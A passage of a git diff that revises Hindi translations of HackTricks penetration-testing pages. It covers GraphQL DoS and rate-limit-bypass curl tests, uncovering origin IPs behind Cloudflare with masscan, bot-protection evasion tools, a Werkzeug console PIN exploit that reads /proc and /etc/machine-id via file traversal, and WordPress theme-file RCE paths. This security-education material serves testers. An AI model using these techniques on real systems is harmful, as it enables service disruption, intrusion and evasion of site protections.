संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है। +नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरियों का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है। ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -491,7 +490,7 @@ valid ### Alias Overloading -**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है: +**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को समाप्त कर सकता है: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -502,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \ ### **एरे-आधारित क्वेरी बैचिंग** -**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग करते हुए और संभावित रूप से **सेवा का अस्वीकरण (DoS)** का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका उपयोग सेवा की उपलब्धता को कम करने के लिए कर सकता है। +**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति पैदा कर सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है। ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -540,7 +539,7 @@ curl -X POST \ ### **फील्ड डुप्लिकेशन कमजोरियाँ** -**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति उत्पन्न हो सकती है। +**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **Denial of Service (DoS)** की स्थिति उत्पन्न हो सकती है। ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -551,16 +550,16 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Vulnerability scanners -- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql एंडपॉइंट्स की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें +- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql endpoints की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट। -- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग किए जा रहे graphql की फिंगरप्रिंटिंग करें +- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग में लाए जा रहे graphql की फिंगरप्रिंटिंग करें - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है। - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअलोन के रूप में या [Burp extension](https://github.com/doyensec/inql) के रूप में उपयोग किया जा सकता है। - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** की सूची बनाता है। - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मूल है, जहाँ आप एक GraphQL एंडपॉइंट या एक स्थानीय अंतर्दृष्टि स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है। -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही अंतर्दृष्टि अक्षम हो। +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL endpoint या एक स्थानीय introspection स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है। +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही introspection बंद हो। ### Clients @@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Automatic Tests -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} - AutoGraphQL को समझाने वाला वीडियो: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) @@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 7d61f12d7..8abc3ee21 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -4,10 +4,10 @@ ## Common Techniques to Uncover Cloudflare -- आप किसी सेवा का उपयोग कर सकते हैं जो डोमेन के **ऐतिहासिक DNS रिकॉर्ड** प्रदान करती है। शायद वेब पृष्ठ एक ऐसे IP पते पर चल रहा है जो पहले उपयोग किया गया था। +- आप किसी सेवा का उपयोग कर सकते हैं जो डोमेन के **ऐतिहासिक DNS रिकॉर्ड** प्रदान करती है। शायद वेब पृष्ठ एक IP पते पर चल रहा है जो पहले उपयोग किया गया था। - **ऐतिहासिक SSL प्रमाणपत्रों** की जांच करके भी यही हासिल किया जा सकता है जो मूल IP पते की ओर इशारा कर सकते हैं। -- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IP की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)। -- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं, तो आप इसका दुरुपयोग करके सर्वर के IP पते को प्राप्त कर सकते हैं। +- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IPs की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)। +- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं तो आप इसका दुरुपयोग करके सर्वर का IP पता प्राप्त कर सकते हैं। - ब्राउज़रों में वेब पृष्ठ की एक अद्वितीय स्ट्रिंग खोजें जैसे shodan (और शायद google और समान?)। शायद आप उस सामग्री के साथ एक IP पता पा सकते हैं। - इसी तरह, अद्वितीय स्ट्रिंग की तलाश करने के बजाय, आप टूल का उपयोग करके फ़ेविकॉन आइकन की खोज कर सकते हैं: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) या [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) - यह बहुत बार काम नहीं करेगा क्योंकि सर्वर को IP पते द्वारा पहुंचने पर वही प्रतिक्रिया भेजनी चाहिए, लेकिन आप कभी नहीं जानते। @@ -16,7 +16,7 @@ - डोमेन की खोज करें [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) या [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) के अंदर। या टूल का उपयोग करें [CloudPeler](https://github.com/zidansec/CloudPeler) (जो उस API का उपयोग करता है) - डोमेन की खोज करें [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) -- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर यह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा। +- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर वह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा। - [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r एक शक्तिशाली Python टूल है जिसे Cloudflare और अन्य विकल्पों द्वारा सुरक्षित वेबसाइटों के वास्तविक IP पते को उजागर करने के लिए सावधानीपूर्वक तैयार किया गया है, जो एक व्यापक रूप से अपनाया गया वेब सुरक्षा और प्रदर्शन सुधार सेवा है। इसका मुख्य मिशन Cloudflare की सुरक्षा ढाल के पीछे छिपे वेब सर्वरों के वास्तविक IP पते को सटीक रूप से पहचानना है। - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) @@ -41,7 +41,9 @@ done इस प्रक्रिया का बेहतर विवरण देखने के लिए चेक करें: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -81,7 +83,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. कभी-कभी आप केवल वेब पृष्ठ को स्क्रैप करने के लिए Cloudflare को बायपास करना चाहते हैं। इसके लिए कुछ विकल्प हैं: - Google कैश का उपयोग करें: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog` -- अन्य कैश सेवाओं का उपयोग करें जैसे [https://archive.org/web/](https://archive.org/web/)। +- अन्य कैश सेवाओं का उपयोग करें जैसे [https://archive.org/web/](https://archive.org/web/) ### उपकरण @@ -94,7 +96,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. कई Cloudflare सॉल्वर विकसित किए गए हैं: - [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) -- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [यहां गाइड](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) +- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [गाइड यहां](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) - [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape) - [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) - [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver) @@ -107,7 +109,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. - **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer) के लिए [stealth plugin](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth)। - **Playwright:** [stealth plugin](https://www.npmjs.com/package/playwright-stealth) जल्द ही Playwright में आ रहा है। विकास का पालन करें [यहां](https://github.com/berstend/puppeteer-extra/issues/454) और [यहां](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)। -- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) एक अनुकूलित Selenium Chromedriver पैच। +- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) एक अनुकूलित Selenium Chromedriver पैच है। ### Cloudflare के अंतर्निहित बायपास के साथ स्मार्ट प्रॉक्सी @@ -120,7 +122,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) - [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) अपने स्वामित्व वाले Cloudflare बायपास तंत्र के लिए जाने जाते हैं। -जो लोग एक अनुकूलित समाधान की तलाश में हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) सबसे अलग है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छा और सबसे किफायती प्रॉक्सी चुनती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है। +जो लोग एक अनुकूलित समाधान की तलाश में हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) विशेष रूप से उल्लेखनीय है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छे और सबसे लागत-कुशल प्रॉक्सी का चयन करती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है। ### Cloudflare एंटी-बॉट सुरक्षा का रिवर्स इंजीनियरिंग @@ -128,7 +130,7 @@ Cloudflare के एंटी-बॉट उपायों का रिवर **फायदे:** यह विधि Cloudflare की जांचों को लक्षित करने के लिए एक अत्यधिक कुशल बायपास बनाने की अनुमति देती है, जो बड़े पैमाने पर संचालन के लिए आदर्श है। -**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare अपनी सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है। +**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare की सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है। इस बारे में अधिक जानकारी के लिए [मूल लेख](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) देखें। diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index db4cb825c..fdc110b7c 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Console RCE यदि डिबग सक्रिय है, तो आप `/console` पर पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं। @@ -25,31 +24,31 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -"console locked" परिदृश्य के संबंध में एक संदेश तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है। +एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है। कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, `probably_public_bits` और `private_bits`, की आवश्यकता होती है: #### **`probably_public_bits`** - **`username`**: उस उपयोगकर्ता को संदर्भित करता है जिसने Flask सत्र शुरू किया। -- **`modname`**: आमतौर पर `flask.app` के रूप में नामित किया जाता है। -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: सामान्यतः **Flask** में हल होता है। +- **`modname`**: आमतौर पर `flask.app` के रूप में नामित होता है। +- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: आमतौर पर **Flask** में हल होता है। - **`getattr(mod, '__file__', None)`**: Flask निर्देशिका के भीतर `app.py` के लिए पूर्ण पथ का प्रतिनिधित्व करता है (जैसे, `/usr/local/lib/python3.5/dist-packages/flask/app.py`)। यदि `app.py` लागू नहीं है, तो **`app.pyc`** का प्रयास करें। #### **`private_bits`** - **`uuid.getnode()`**: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमें `str(uuid.getnode())` इसे दशमलव प्रारूप में अनुवादित करता है। -- सर्वर के MAC पते को **निर्धारित करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** को लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net//address`** से **MAC पता निकालें**। +- **सर्वर के MAC पते का निर्धारण करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net//address`** से **MAC पता निकालें**। - एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है: ```python -# Example MAC address: 56:00:02:7a:23:ac +# उदाहरण MAC पता: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` -- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को जोड़ता है और `/proc/self/cgroup` की पहली पंक्ति को अंतिम स्लैश (`/`) के बाद जोड़ता है। +- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को `/proc/self/cgroup` की पहली पंक्ति के साथ अंतिम स्लैश (`/`) के बाद जोड़ता है।
@@ -144,19 +143,21 @@ print(rv) यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो। > [!TIP] -> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें, sha1 के बजाय। +> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें बजाय sha1 के। -## Werkzeug Unicode वर्ण +## Werkzeug Unicode chars -जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है। +जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेखन**](https://mizu.re/post/twisty-python) में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है। -यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूटने** का कारण बनेगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा। +यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूट** देगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा। -## स्वचालित शोषण +## Automated Exploitation -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} -## संदर्भ +## References - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 912ff1ef0..c24926afd 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## Basic Information - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम ट्वेंटीट्वेल्व** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम ट्वेंटीट्वेल्व** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच सकते हैं**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **एक और उपयोगी यूआरएल हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -15,22 +15,22 @@ ### **Main WordPress Files** - `index.php` -- `license.txt` में उपयोगी जानकारी होती है जैसे कि इंस्टॉल किया गया WordPress का संस्करण। -- `wp-activate.php` नए WordPress साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है। +- `license.txt` उपयोगी जानकारी जैसे कि स्थापित वर्डप्रेस का संस्करण शामिल है। +- `wp-activate.php` नए वर्डप्रेस साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है। - लॉगिन फ़ोल्डर (छिपाने के लिए नाम बदल सकते हैं): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है। +- `xmlrpc.php` एक फ़ाइल है जो वर्डप्रेस की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग 